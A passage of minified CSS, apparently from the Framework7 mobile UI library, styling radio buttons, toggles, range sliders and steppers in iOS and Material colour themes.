.icon-radio,.md label.item-radio.color-blue input[type=radio]:checked~.icon-radio{border-color:#2196f3}.md .radio.color-blue input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-blue input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-blue input[type=radio]:checked~.icon-radio:after{background-color:#2196f3}.md .radio.color-blue .ripple-wave{background:rgba(33,150,243,.5)}.md .radio.color-pink .icon-radio:after{background-color:#e91e63}.md .radio.color-pink input[type=radio]:checked~.icon-radio,.md label.item-radio.color-pink input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-pink input[type=radio]:checked~.icon-radio{border-color:#e91e63}.md .radio.color-pink input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-pink input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-pink input[type=radio]:checked~.icon-radio:after{background-color:#e91e63}.md .radio.color-pink .ripple-wave{background:rgba(233,30,99,.5)}.md .radio.color-yellow .icon-radio:after{background-color:#ffeb3b}.md .radio.color-yellow input[type=radio]:checked~.icon-radio,.md label.item-radio.color-yellow input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-yellow input[type=radio]:checked~.icon-radio{border-color:#ffeb3b}.md .radio.color-yellow input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-yellow input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-yellow input[type=radio]:checked~.icon-radio:after{background-color:#ffeb3b}.md .radio.color-yellow .ripple-wave{background:rgba(255,235,59,.5)}.md .radio.color-orange .icon-radio:after{background-color:#ff9800}.md .radio.color-orange input[type=radio]:checked~.icon-radio,.md label.item-radio.color-orange input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-orange input[type=radio]:checked~.icon-radio{border-color:#ff9800}.md .radio.color-orange input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-orange input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-orange input[type=radio]:checked~.icon-radio:after{background-color:#ff9800}.md .radio.color-orange .ripple-wave{background:rgba(255,152,0,.5)}.md .radio.color-gray .icon-radio:after{background-color:#9e9e9e}.md .radio.color-gray input[type=radio]:checked~.icon-radio,.md label.item-radio.color-gray input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-gray input[type=radio]:checked~.icon-radio{border-color:#9e9e9e}.md .radio.color-gray input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-gray input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-gray input[type=radio]:checked~.icon-radio:after{background-color:#9e9e9e}.md .radio.color-gray .ripple-wave{background:rgba(158,158,158,.5)}.md .radio.color-white .icon-radio:after{background-color:#fff}.md .radio.color-white input[type=radio]:checked~.icon-radio,.md label.item-radio.color-white input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-white input[type=radio]:checked~.icon-radio{border-color:#fff}.md .radio.color-white input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-white input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-white input[type=radio]:checked~.icon-radio:after{background-color:#fff}.md .radio.color-white .ripple-wave{background:rgba(255,255,255,.5)}.md .radio.color-black .icon-radio:after{background-color:#000}.md .radio.color-black input[type=radio]:checked~.icon-radio,.md label.item-radio.color-black input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-black input[type=radio]:checked~.icon-radio{border-color:#000}.md .radio.color-black input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-black input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-black input[type=radio]:checked~.icon-radio:after{background-color:#000}.md .radio.color-black .ripple-wave{background:rgba(0,0,0,.5)}.toggle{display:inline-block;vertical-align:middle;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.toggle input[type=checkbox]{display:none}.toggle input[disabled]~.toggle-icon{pointer-events:none}.toggle-icon{z-index:0;margin:0;padding:0;-webkit-appearance:none;-moz-appearance:none;appearance:none;border:none;position:relative;-webkit-transition:.3s;transition:.3s;-webkit-box-sizing:border-box;box-sizing:border-box;display:block;cursor:pointer}.toggle-icon:after,.toggle-icon:before{content:''}.toggle-icon:after{background:#fff;position:absolute;z-index:2;-webkit-transform:translateX(0);transform:translateX(0);-webkit-transition-duration:.3s;transition-duration:.3s}.ios .toggle{width:52px;border-radius:16px;height:32px}.ios .toggle input[type=checkbox]:checked+.toggle-icon{background:#4cd964}.ios .toggle input[type=checkbox]:checked+.toggle-icon:before{-webkit-transform:scale(0);transform:scale(0)}.ios .toggle input[type=checkbox]:checked+.toggle-icon:after{-webkit-transform:translateX(-20px);transform:translateX(-20px)}.ios .toggle-icon{width:52px;border-radius:16px;height:32px;background:#e5e5e5}.ios .toggle-icon:before{position:absolute;right:2px;top:2px;width:48px;height:28px;border-radius:16px;-webkit-box-sizing:border-box;box-sizing:border-box;background:#fff;z-index:1;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:scale(1);transform:scale(1)}.ios .toggle-icon:after{height:28px;width:28px;top:2px;right:2px;-webkit-box-shadow:0 2px 4px rgba(0,0,0,.3);box-shadow:0 2px 4px rgba(0,0,0,.3);border-radius:14px}.ios .toggle-active-state input[type=checkbox]:not(:checked)+.toggle-icon:before{-webkit-transform:scale(0);transform:scale(0)}.ios .toggle-active-state input[type=checkbox]+.toggle-icon:after{width:35px}.ios .toggle-active-state input[type=checkbox]:checked+.toggle-icon:after{width:35px;-webkit-transform:translateX(-13px);transform:translateX(-13px)}.ios .theme-dark .toggle-icon{background-color:#fff}.ios .theme-dark .toggle-icon:before{background-color:#1c1c1d}.ios .toggle.color-red input[type=checkbox]:checked+.toggle-icon{background-color:#ff3b30}.ios .toggle.color-green input[type=checkbox]:checked+.toggle-icon{background-color:#4cd964}.ios .toggle.color-blue input[type=checkbox]:checked+.toggle-icon{background-color:#007aff}.ios .toggle.color-pink input[type=checkbox]:checked+.toggle-icon{background-color:#ff2d55}.ios .toggle.color-yellow input[type=checkbox]:checked+.toggle-icon{background-color:#fc0}.ios .toggle.color-orange input[type=checkbox]:checked+.toggle-icon{background-color:#ff9500}.ios .toggle.color-gray input[type=checkbox]:checked+.toggle-icon{background-color:#8e8e93}.ios .toggle.color-white input[type=checkbox]:checked+.toggle-icon{background-color:#fff}.ios .toggle.color-black input[type=checkbox]:checked+.toggle-icon{background-color:#000}.md .toggle{width:36px;height:14px}.md .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(33,150,243,.5)}.md .toggle input[type=checkbox]:checked+.toggle-icon:after{-webkit-transform:translateX(-16px);transform:translateX(-16px);background:#2196f3}.md .toggle-icon{width:36px;height:14px;border-radius:14px;background:#b0afaf}.md .toggle-icon:after{height:20px;width:20px;top:-3px;-webkit-box-shadow:0 2px 5px rgba(0,0,0,.4);box-shadow:0 2px 5px rgba(0,0,0,.4);border-radius:10px;right:0}.md .color-theme-red .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(244,67,54,.5)}.md .color-theme-red .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#f44336}.md .color-theme-green .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(76,175,80,.5)}.md .color-theme-green .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#4caf50}.md .color-theme-blue .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(33,150,243,.5)}.md .color-theme-blue .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#2196f3}.md .color-theme-pink .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(233,30,99,.5)}.md .color-theme-pink .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#e91e63}.md .color-theme-yellow .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(255,235,59,.5)}.md .color-theme-yellow .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#ffeb3b}.md .color-theme-orange .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(255,152,0,.5)}.md .color-theme-orange .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#ff9800}.md .color-theme-gray .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(158,158,158,.5)}.md .color-theme-gray .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#9e9e9e}.md .color-theme-white .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(255,255,255,.5)}.md .color-theme-white .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#fff}.md .color-theme-black .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(0,0,0,.5)}.md .color-theme-black .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#000}.md .toggle.color-red input[type=checkbox]:checked+.toggle-icon{background:rgba(244,67,54,.5)}.md .toggle.color-red input[type=checkbox]:checked+.toggle-icon:after{background:#f44336}.md .toggle.color-green input[type=checkbox]:checked+.toggle-icon{background:rgba(76,175,80,.5)}.md .toggle.color-green input[type=checkbox]:checked+.toggle-icon:after{background:#4caf50}.md .toggle.color-blue input[type=checkbox]:checked+.toggle-icon{background:rgba(33,150,243,.5)}.md .toggle.color-blue input[type=checkbox]:checked+.toggle-icon:after{background:#2196f3}.md .toggle.color-pink input[type=checkbox]:checked+.toggle-icon{background:rgba(233,30,99,.5)}.md .toggle.color-pink input[type=checkbox]:checked+.toggle-icon:after{background:#e91e63}.md .toggle.color-yellow input[type=checkbox]:checked+.toggle-icon{background:rgba(255,235,59,.5)}.md .toggle.color-yellow input[type=checkbox]:checked+.toggle-icon:after{background:#ffeb3b}.md .toggle.color-orange input[type=checkbox]:checked+.toggle-icon{background:rgba(255,152,0,.5)}.md .toggle.color-orange input[type=checkbox]:checked+.toggle-icon:after{background:#ff9800}.md .toggle.color-gray input[type=checkbox]:checked+.toggle-icon{background:rgba(158,158,158,.5)}.md .toggle.color-gray input[type=checkbox]:checked+.toggle-icon:after{background:#9e9e9e}.md .toggle.color-white input[type=checkbox]:checked+.toggle-icon{background:rgba(255,255,255,.5)}.md .toggle.color-white input[type=checkbox]:checked+.toggle-icon:after{background:#fff}.md .toggle.color-black input[type=checkbox]:checked+.toggle-icon{background:rgba(0,0,0,.5)}.md .toggle.color-black input[type=checkbox]:checked+.toggle-icon:after{background:#000}.range-slider{display:block;width:100%;position:relative;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.range-slider input[type=range]{display:none}.range-bar{position:absolute;left:0;top:50%;width:100%;overflow:hidden}.range-bar-active{position:absolute;right:0;top:0;height:100%}.range-knob-wrap{z-index:20;position:absolute;top:50%;right:0}.range-knob{-webkit-box-sizing:border-box;box-sizing:border-box;border-radius:50%;position:absolute;left:0;top:0;width:100%;height:100%;z-index:1}.range-knob:after{content:'';position:absolute;left:50%;top:50%;width:44px;height:44px;margin-left:-22px;margin-top:-22px}.range-knob-label{position:absolute;left:50%;bottom:100%;text-align:center;-webkit-transition-duration:120ms;transition-duration:120ms;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translateY(100%) scale(0);transform:translateY(100%) scale(0)}.range-knob-active-state .range-knob-label{-webkit-transform:translateY(0) scale(1);transform:translateY(0) scale(1)}.ios .range-slider{height:28px}.ios .range-bar{background:#b7b8b7;border-radius:2px;height:1px}.ios .range-bar-active{background:#007aff}.ios .range-knob-wrap{height:28px;width:28px;margin-top:-14px;margin-right:-14px}.ios .range-knob{background:#fff;-webkit-box-shadow:0 2px 4px rgba(0,0,0,.3);box-shadow:0 2px 4px rgba(0,0,0,.3)}.ios .range-knob-label{min-width:20px;height:20px;line-height:20px;background:#fff;border-radius:5px;color:#000;font-size:12px;margin-bottom:6px;-webkit-transform:translateX(-50%) translateY(100%) scale(0);transform:translateX(-50%) translateY(100%) scale(0)}.ios .range-knob-active-state .range-knob-label{-webkit-transform:translateX(-50%) translateY(0) scale(1);transform:translateX(-50%) translateY(0) scale(1)}.ios .color-theme-red .range-slider .range-bar-active{background-color:#ff3b30}.ios .color-theme-green .range-slider .range-bar-active{background-color:#4cd964}.ios .color-theme-blue .range-slider .range-bar-active{background-color:#007aff}.ios .color-theme-pink .range-slider .range-bar-active{background-color:#ff2d55}.ios .color-theme-yellow .range-slider .range-bar-active{background-color:#fc0}.ios .color-theme-orange .range-slider .range-bar-active{background-color:#ff9500}.ios .color-theme-gray .range-slider .range-bar-active{background-color:#8e8e93}.ios .color-theme-white .range-slider .range-bar-active{background-color:#fff}.ios .color-theme-black .range-slider .range-bar-active{background-color:#000}.ios .range-slider.color-red .range-bar-active{background-color:#ff3b30}.ios .range-slider.color-green .range-bar-active{background-color:#4cd964}.ios .range-slider.color-blue .range-bar-active{background-color:#007aff}.ios .range-slider.color-pink .range-bar-active{background-color:#ff2d55}.ios .range-slider.color-yellow .range-bar-active{background-color:#fc0}.ios .range-slider.color-orange .range-bar-active{background-color:#ff9500}.ios .range-slider.color-gray .range-bar-active{background-color:#8e8e93}.ios .range-slider.color-white .range-bar-active{background-color:#fff}.ios .range-slider.color-black .range-bar-active{background-color:#000}.md .range-slider{height:20px}.md .range-bar{background:#b9b9b9;height:2px;margin-top:-1px}.md .range-bar-active{background:#2196f3}.md .range-knob-wrap{height:12px;width:12px;margin-top:-6px;margin-right:-6px}.md .range-knob{background:#2196f3;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:background-color,-webkit-transform;transition-property:background-color,-webkit-transform;transition-property:transform,background-color;transition-property:transform,background-color,-webkit-transform}.md .range-knob-active-state .range-knob{-webkit-transform:scale(1.5);transform:scale(1.5)}.md .range-slider-min:not(.range-slider-dual) .range-knob{background:#fff!important;border:2px solid #b9b9b9}.md .range-knob-label{width:26px;height:26px;margin-left:-13px;margin-bottom:8px;background:#2196f3;color:#fff;font-size:10px;border-radius:50%;line-height:26px}.md .range-knob-label:before{content:'';left:50%;top:0;margin-left:-13px;position:absolute;z-index:-1;width:26px;height:26px;background:#2196f3;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);border-radius:50% 50% 50% 0}.md .range-knob-active-state .range-knob-label{-webkit-transform:translateY(0) scale(1);transform:translateY(0) scale(1)}.md .range-slider-label .range-knob-active-state .range-knob{-webkit-transform:scale(0);transform:scale(0)}.md .color-theme-red .range-slider .range-bar-active,.md .color-theme-red .range-slider .range-knob,.md .color-theme-red .range-slider .range-knob-label,.md .color-theme-red .range-slider .range-knob-label:before{background-color:#f44336}.md .color-theme-green .range-slider .range-bar-active,.md .color-theme-green .range-slider .range-knob,.md .color-theme-green .range-slider .range-knob-label,.md .color-theme-green .range-slider .range-knob-label:before{background-color:#4caf50}.md .color-theme-blue .range-slider .range-bar-active,.md .color-theme-blue .range-slider .range-knob,.md .color-theme-blue .range-slider .range-knob-label,.md .color-theme-blue .range-slider .range-knob-label:before{background-color:#2196f3}.md .color-theme-pink .range-slider .range-bar-active,.md .color-theme-pink .range-slider .range-knob,.md .color-theme-pink .range-slider .range-knob-label,.md .color-theme-pink .range-slider .range-knob-label:before{background-color:#e91e63}.md .color-theme-yellow .range-slider .range-bar-active,.md .color-theme-yellow .range-slider .range-knob,.md .color-theme-yellow .range-slider .range-knob-label,.md .color-theme-yellow .range-slider .range-knob-label:before{background-color:#ffeb3b}.md .color-theme-orange .range-slider .range-bar-active,.md .color-theme-orange .range-slider .range-knob,.md .color-theme-orange .range-slider .range-knob-label,.md .color-theme-orange .range-slider .range-knob-label:before{background-color:#ff9800}.md .color-theme-gray .range-slider .range-bar-active,.md .color-theme-gray .range-slider .range-knob,.md .color-theme-gray .range-slider .range-knob-label,.md .color-theme-gray .range-slider .range-knob-label:before{background-color:#9e9e9e}.md .color-theme-white .range-slider .range-bar-active,.md .color-theme-white .range-slider .range-knob,.md .color-theme-white .range-slider .range-knob-label,.md .color-theme-white .range-slider .range-knob-label:before{background-color:#fff}.md .color-theme-black .range-slider .range-bar-active,.md .color-theme-black .range-slider .range-knob,.md .color-theme-black .range-slider .range-knob-label,.md .color-theme-black .range-slider .range-knob-label:before{background-color:#000}.md .range-slider.color-red .range-bar-active,.md .range-slider.color-red .range-knob,.md .range-slider.color-red .range-knob-label,.md .range-slider.color-red .range-knob-label:before{background-color:#f44336}.md .range-slider.color-green .range-bar-active,.md .range-slider.color-green .range-knob,.md .range-slider.color-green .range-knob-label,.md .range-slider.color-green .range-knob-label:before{background-color:#4caf50}.md .range-slider.color-blue .range-bar-active,.md .range-slider.color-blue .range-knob,.md .range-slider.color-blue .range-knob-label,.md .range-slider.color-blue .range-knob-label:before{background-color:#2196f3}.md .range-slider.color-pink .range-bar-active,.md .range-slider.color-pink .range-knob,.md .range-slider.color-pink .range-knob-label,.md .range-slider.color-pink .range-knob-label:before{background-color:#e91e63}.md .range-slider.color-yellow .range-bar-active,.md .range-slider.color-yellow .range-knob,.md .range-slider.color-yellow .range-knob-label,.md .range-slider.color-yellow .range-knob-label:before{background-color:#ffeb3b}.md .range-slider.color-orange .range-bar-active,.md .range-slider.color-orange .range-knob,.md .range-slider.color-orange .range-knob-label,.md .range-slider.color-orange .range-knob-label:before{background-color:#ff9800}.md .range-slider.color-gray .range-bar-active,.md .range-slider.color-gray .range-knob,.md .range-slider.color-gray .range-knob-label,.md .range-slider.color-gray .range-knob-label:before{background-color:#9e9e9e}.md .range-slider.color-white .range-bar-active,.md .range-slider.color-white .range-knob,.md .range-slider.color-white .range-knob-label,.md .range-slider.color-white .range-knob-label:before{background-color:#fff}.md .range-slider.color-black .range-bar-active,.md .range-slider.color-black .range-knob,.md .range-slider.color-black .range-knob-label,.md .range-slider.color-black .range-knob-label:before{background-color:#000}.stepper{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:stretch;-webkit-align-items:stretch;-ms-flex-align:stretch;align-items:stretch}.stepper-button,.stepper-button-minus,.stepper-button-plus{text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;cursor:pointer}.stepper-button .icon,.stepper-button-minus .icon,.stepper-button-plus .icon{pointer-events:none}.stepper-value{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.stepper-input-wrap,.stepper-value{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;text-align:center}.stepper-button-minus,.stepper-button-plus{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.stepper-button-minus:after,.stepper-button-minus:before,.stepper-button-plus:after,.stepper-button-plus:before{content:'';position:absolute;left:50%;top:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}.stepper-button-minus:after,.stepper-button-plus:after{width:15px;height:2px}.stepper-button-plus:before{height:15px;width:2px}.stepper .stepper-input-wrap input,.stepper .stepper-value{width:45px}.ios .stepper{height:29px}.ios .stepper-button,.ios .stepper-button-minus,.ios .stepper-button-plus{border:1px solid #007aff;color:#007aff;border-radius:5px;line-height:27px;height:29px;width:40px}.ios .stepper-button .f7-icons,.ios .stepper-button-minus .f7-icons,.ios .stepper-button-plus .f7-icons{font-size:22px}.ios .stepper-button-minus:first-child,.ios .stepper-button-plus:first-child,.ios .stepper-button:first-child{border-radius:0 5px 5px 0}.ios .stepper-button-minus:last-child,.ios .stepper-button-plus:last-child,.ios .stepper-button:last-child{border-radius:5px 0 0 5px}.ios .stepper-button-minus.active-state,.ios .stepper-button-plus.active-state,.ios .stepper-button.active-state{background:rgba(0,122,255,.15)}.ios .stepper-button+.stepper-button,.ios .stepper-button+.stepper-button-minus,.ios .stepper-button+.stepper-button-plus,.ios .stepper-button-minus+.stepper-button,.ios .stepper-button-minus+.stepper-button-minus,.ios .stepper-button-minus+.stepper-button-plus,.ios .stepper-button-plus+.stepper-button,.ios .stepper-button-plus+.stepper-button-minus,.ios .stepper-button-plus+.stepper-button-plus{border-right:none}.ios .stepper-button-minus:after,.ios .stepper-button-minus:before,.ios .stepper-button-plus:after,.ios .stepper-button-plus:before{background:#007aff}.ios .stepper-input-wrap,.ios .stepper-value{border-top:1px solid #007aff;border-bottom:1px solid #007aff}.ios .stepper .stepper-value{color:#007aff;font-size:17px}.ios .stepper .stepper-input-wrap input{height:100%;text-align:center;color:#007aff;font-size:17px}.ios .stepper-fill .stepper-button,.ios .stepper-fill .stepper-button-minus,.ios .stepper-fill .stepper-button-plus,.ios .stepper-fill-ios .stepper-button,.ios .stepper-fill-ios .stepper-button-minus,.ios .stepper-fill-ios .stepper-button-plus{color:#fff;background:#007aff}.ios .stepper-fill .stepper-button-minus.active-state,.ios .stepper-fill .stepper-button-plus.active-state,.ios .stepper-fill .stepper-button.active-state,.ios .stepper-fill-ios .stepper-button-minus.active-state,.ios .stepper-fill-ios .stepper-button-plus.active-state,.ios .stepper-fill-ios .stepper-button.active-state{opacity:.8}.ios .stepper-fill .stepper-button-minus:after,.ios .stepper-fill .stepper-button-minus:before,.ios .stepper-fill .stepper-button-plus:after,.ios .stepper-fill .stepper-button-plus:before,.ios .stepper-fill-ios .stepper-button-minus:after,.ios .stepper-fill-ios .stepper-button-minus:before,.ios .stepper-fill-ios .stepper-button-plus:after,.ios .stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper-fill .stepper-button+.stepper-button,.ios .stepper-fill .stepper-button-minus+.stepper-button-plus,.ios .stepper-fill-ios .stepper-button+.stepper-button,.ios .stepper-fill-ios .stepper-button-minus+.stepper-button-plus{border-right:1px solid rgba(0,0,0,.1)}.ios .stepper-round .stepper-button-minus:first-child,.ios .stepper-round .stepper-button-plus:first-child,.ios .stepper-round .stepper-button:first-child,.ios .stepper-round-ios .stepper-button-minus:first-child,.ios .stepper-round-ios .stepper-button-plus:first-child,.ios .stepper-round-ios .stepper-button:first-child{border-radius:0 29px 29px 0}.ios .stepper-round .stepper-button-minus:last-child,.ios .stepper-round .stepper-button-plus:last-child,.ios .stepper-round .stepper-button:last-child,.ios .stepper-round-ios .stepper-button-minus:last-child,.ios .stepper-round-ios .stepper-button-plus:last-child,.ios .stepper-round-ios .stepper-button:last-child{border-radius:29px 0 0 29px}.ios .stepper-small,.ios .stepper-small-ios{height:26px}.ios .stepper-small .stepper-input-wrap,.ios .stepper-small .stepper-value,.ios .stepper-small-ios .stepper-input-wrap,.ios .stepper-small-ios .stepper-value{border-top-width:2px;border-bottom-width:2px}.ios .stepper-small .stepper-button,.ios .stepper-small .stepper-button-minus,.ios .stepper-small .stepper-button-plus,.ios .stepper-small-ios .stepper-button,.ios .stepper-small-ios .stepper-button-minus,.ios .stepper-small-ios .stepper-button-plus{height:26px;-webkit-transition-duration:.2s;transition-duration:.2s;line-height:22px;border-width:2px}.ios .stepper-small .stepper-button .f7-icons,.ios .stepper-small .stepper-button-minus .f7-icons,.ios .stepper-small .stepper-button-plus .f7-icons,.ios .stepper-small-ios .stepper-button .f7-icons,.ios .stepper-small-ios .stepper-button-minus .f7-icons,.ios .stepper-small-ios .stepper-button-plus .f7-icons{font-size:18px}.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state,.ios .stepper-small-ios.stepper-fill-ios .stepper-button.active-state,.ios .stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper-small.stepper-fill .stepper-button.active-state,.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state,.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state,.ios .stepper-small.stepper-fill-ios .stepper-button.active-state{color:#007aff;border-color:#007aff;background-color:transparent;opacity:1}.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state:after,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state:before,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state:after,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state:before,.ios .stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper-small.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state:after,.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state:before,.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state:after,.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state:before{background-color:#007aff}.ios .stepper-big,.ios .stepper-big-ios{height:44px}.ios .stepper-big .stepper-button,.ios .stepper-big .stepper-button-minus,.ios .stepper-big .stepper-button-plus,.ios .stepper-big-ios .stepper-button,.ios .stepper-big-ios .stepper-button-minus,.ios .stepper-big-ios .stepper-button-plus{height:44px;line-height:42px}.ios .color-theme-red .stepper .stepper-button,.ios .color-theme-red .stepper .stepper-button-minus,.ios .color-theme-red .stepper .stepper-button-plus{border-color:#ff3b30;color:#ff3b30}.ios .color-theme-red .stepper .stepper-button-minus.active-state,.ios .color-theme-red .stepper .stepper-button-plus.active-state,.ios .color-theme-red .stepper .stepper-button.active-state{background-color:rgba(255,59,48,.15)}.ios .color-theme-red .stepper .stepper-button-minus:after,.ios .color-theme-red .stepper .stepper-button-minus:before,.ios .color-theme-red .stepper .stepper-button-plus:after,.ios .color-theme-red .stepper .stepper-button-plus:before{background-color:#ff3b30}.ios .color-theme-red .stepper .stepper-input-wrap,.ios .color-theme-red .stepper .stepper-value{border-top-color:#ff3b30;border-bottom-color:#ff3b30}.ios .color-theme-red .stepper .stepper-value{color:#ff3b30}.ios .color-theme-red .stepper .stepper-input-wrap input{color:#ff3b30}.ios .color-theme-red .stepper.stepper-fill .stepper-button,.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus{background-color:#ff3b30}.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#ff3b30;border-color:#ff3b30;background-color:transparent}.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff3b30}.ios .color-theme-green .stepper .stepper-button,.ios .color-theme-green .stepper .stepper-button-minus,.ios .color-theme-green .stepper .stepper-button-plus{border-color:#4cd964;color:#4cd964}.ios .color-theme-green .stepper .stepper-button-minus.active-state,.ios .color-theme-green .stepper .stepper-button-plus.active-state,.ios .color-theme-green .stepper .stepper-button.active-state{background-color:rgba(76,217,100,.15)}.ios .color-theme-green .stepper .stepper-button-minus:after,.ios .color-theme-green .stepper .stepper-button-minus:before,.ios .color-theme-green .stepper .stepper-button-plus:after,.ios .color-theme-green .stepper .stepper-button-plus:before{background-color:#4cd964}.ios .color-theme-green .stepper .stepper-input-wrap,.ios .color-theme-green .stepper .stepper-value{border-top-color:#4cd964;border-bottom-color:#4cd964}.ios .color-theme-green .stepper .stepper-value{color:#4cd964}.ios .color-theme-green .stepper .stepper-input-wrap 